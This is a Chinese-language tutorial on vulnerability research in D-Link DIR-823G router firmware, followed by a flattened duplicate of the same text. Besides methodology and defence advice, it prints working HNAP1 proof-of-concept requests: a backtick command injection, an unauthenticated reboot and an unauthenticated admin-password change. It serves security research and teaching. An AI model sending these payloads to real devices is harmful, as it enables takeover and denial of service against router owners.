Dlink DIR-823G 漏洞挖掘过程
字数 1614 2025-08-22 12:22:24

D-Link DIR-823G 漏洞挖掘与分析教程

1. 固件初步分析

1.1 获取固件

1.2 解压固件

使用 binwalk 工具解压固件:

binwalk -Me DIR823GA1_FW102B03.bin

发现这是一个 squashfs 文件系统,具有标准的 Linux 目录结构。

1.3 分析启动脚本

查看 /etc/init.d/rcS 文件,发现最后会启动 goahead 进程:

  • goahead 是一个开源的嵌入式 Web 服务器
  • 用户可以通过 GoAhead API 定义 URL 处理函数和 ASP 文件中可调用的函数

2. 模拟运行固件

2.1 使用分析工具

推荐使用 firmware-analysis-toolkit 自动化工具:

  • 整合了多个开源工具
  • 提供自动化固件模拟运行环境

2.2 端口扫描

使用 nmap 扫描模拟环境开放的端口:

nmap -sV <路由器IP>

发现开放了 HTTP 服务和 DNS 服务。

3. 攻击面分析

3.1 主要关注点

  1. 后门账户/默认密码
  2. 敏感功能未授权访问
  3. Web 服务请求处理逻辑

3.2 Web 目录结构

Web 根目录为 web_mtn,结构如下:

web_mtn/
├── cgi-bin/          # CGI程序目录
├── ...               # 其他Web资源

4. 未授权访问的CGI程序

cgi-bin 目录下存在多个未授权访问的 CGI 程序:

4.1 信息泄露漏洞

  • /cgi-bin/ExportSettings.sh:导出配置文件
  • /cgi-bin/GetDownLoadSyslog.sh:获取系统启动信息(/var/log/messages*

4.2 配置篡改漏洞

  • /cgi-bin/upload_settings.cgi:导入配置文件

4.3 固件更新漏洞

  • /cgi-bin/upload_firmware.cgi:上传更新固件

5. GoAhead 自定义请求处理函数分析

5.1 URL 处理函数注册

GoAhead 支持自定义 URL 处理函数:

websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
  • /goform 请求由 websFormHandler 处理
  • /cgi-bin 请求由 websCgiHandler 处理

5.2 处理函数参数

int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, 
                  int arg, char_t *url, char_t *path, char_t* query)
  • wp:复杂结构体指针,包含请求信息(cookie、请求数据等)

5.3 IDA 分析技巧

  1. 固件通常被去掉符号表
  2. 从字符串入手,搜索 /cgi-bin/goform 找到处理函数
  3. 交叉引用定位注册函数的位置(示例中为 0x42424C

6. HNAP1 接口漏洞分析

6.1 命令注入漏洞

  • 处理函数位于 0x42383C
  • 使用 snprintf 生成命令后通过 system 执行
  • 可通过注入单引号 ' 实现命令执行

PoC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
[...]
SOAPAction: "http://purenetworks.com/HNAP1/Login"

'`echo hacked_by_hac425! > /web_mtn/hack.txt`'

6.2 未授权重启漏洞

  • Reboot 接口无权限校验
  • 可导致拒绝服务攻击

PoC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
[...]
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RunReboot xmlns="http://purenetworks.com/HNAP1/" />
  </soap:Body>
</soap:Envelope>

6.3 未授权密码修改漏洞

  • SetPasswdSettings 接口无权限校验
  • 可任意修改管理员密码

PoC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
[...]
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/">
      <NewPassword>hackedbyhac425</NewPassword>
      <ChangePassword>true</ChangePassword>
    </SetPasswdSettings>
  </soap:Body>
</soap:Envelope>

7. 漏洞挖掘方法论总结

  1. 固件获取与分析:下载固件并使用 binwalk 解压
  2. 启动流程分析:检查 init.d 脚本了解服务启动顺序
  3. 模拟运行:使用 FAT 等工具模拟运行环境
  4. 端口与服务扫描:确定暴露的攻击面
  5. Web 应用分析
    • 检查 CGI 程序权限
    • 分析 Web 服务器自定义处理函数
    • 寻找命令注入、未授权访问等漏洞
  6. API 接口测试
    • 检查 HNAP1 等 SOAP 接口
    • 测试权限校验缺失
    • 寻找命令注入点

8. 防御建议

  1. 输入验证:对所有用户输入进行严格过滤
  2. 权限控制:对敏感操作实施严格的权限校验
  3. 安全日志:记录所有敏感操作
  4. 固件更新:及时更新到最新版本
  5. 最小化服务:关闭不必要的服务端口

通过本教程,您应该掌握了 D-Link DIR-823G 路由器的漏洞挖掘方法和相关漏洞细节。这些技术也可应用于其他嵌入式设备的漏洞分析。

D-Link DIR-823G 漏洞挖掘与分析教程 1. 固件初步分析 1.1 获取固件 固件下载地址: DIR823GA1_ FW102B03.bin 1.2 解压固件 使用 binwalk 工具解压固件: 发现这是一个 squashfs 文件系统,具有标准的 Linux 目录结构。 1.3 分析启动脚本 查看 /etc/init.d/rcS 文件,发现最后会启动 goahead 进程: goahead 是一个开源的嵌入式 Web 服务器 用户可以通过 GoAhead API 定义 URL 处理函数和 ASP 文件中可调用的函数 2. 模拟运行固件 2.1 使用分析工具 推荐使用 firmware-analysis-toolkit 自动化工具: 整合了多个开源工具 提供自动化固件模拟运行环境 2.2 端口扫描 使用 nmap 扫描模拟环境开放的端口: 发现开放了 HTTP 服务和 DNS 服务。 3. 攻击面分析 3.1 主要关注点 后门账户/默认密码 敏感功能未授权访问 Web 服务请求处理逻辑 3.2 Web 目录结构 Web 根目录为 web_mtn ,结构如下: 4. 未授权访问的CGI程序 cgi-bin 目录下存在多个未授权访问的 CGI 程序: 4.1 信息泄露漏洞 /cgi-bin/ExportSettings.sh :导出配置文件 /cgi-bin/GetDownLoadSyslog.sh :获取系统启动信息( /var/log/messages* ) 4.2 配置篡改漏洞 /cgi-bin/upload_settings.cgi :导入配置文件 4.3 固件更新漏洞 /cgi-bin/upload_firmware.cgi :上传更新固件 5. GoAhead 自定义请求处理函数分析 5.1 URL 处理函数注册 GoAhead 支持自定义 URL 处理函数: /goform 请求由 websFormHandler 处理 /cgi-bin 请求由 websCgiHandler 处理 5.2 处理函数参数 wp :复杂结构体指针,包含请求信息(cookie、请求数据等) 5.3 IDA 分析技巧 固件通常被去掉符号表 从字符串入手,搜索 /cgi-bin 或 /goform 找到处理函数 交叉引用定位注册函数的位置(示例中为 0x42424C ) 6. HNAP1 接口漏洞分析 6.1 命令注入漏洞 处理函数位于 0x42383C 使用 snprintf 生成命令后通过 system 执行 可通过注入单引号 ' 实现命令执行 PoC: 6.2 未授权重启漏洞 Reboot 接口无权限校验 可导致拒绝服务攻击 PoC: 6.3 未授权密码修改漏洞 SetPasswdSettings 接口无权限校验 可任意修改管理员密码 PoC: 7. 漏洞挖掘方法论总结 固件获取与分析 :下载固件并使用 binwalk 解压 启动流程分析 :检查 init.d 脚本了解服务启动顺序 模拟运行 :使用 FAT 等工具模拟运行环境 端口与服务扫描 :确定暴露的攻击面 Web 应用分析 : 检查 CGI 程序权限 分析 Web 服务器自定义处理函数 寻找命令注入、未授权访问等漏洞 API 接口测试 : 检查 HNAP1 等 SOAP 接口 测试权限校验缺失 寻找命令注入点 8. 防御建议 输入验证 :对所有用户输入进行严格过滤 权限控制 :对敏感操作实施严格的权限校验 安全日志 :记录所有敏感操作 固件更新 :及时更新到最新版本 最小化服务 :关闭不必要的服务端口 通过本教程,您应该掌握了 D-Link DIR-823G 路由器的漏洞挖掘方法和相关漏洞细节。这些技术也可应用于其他嵌入式设备的漏洞分析。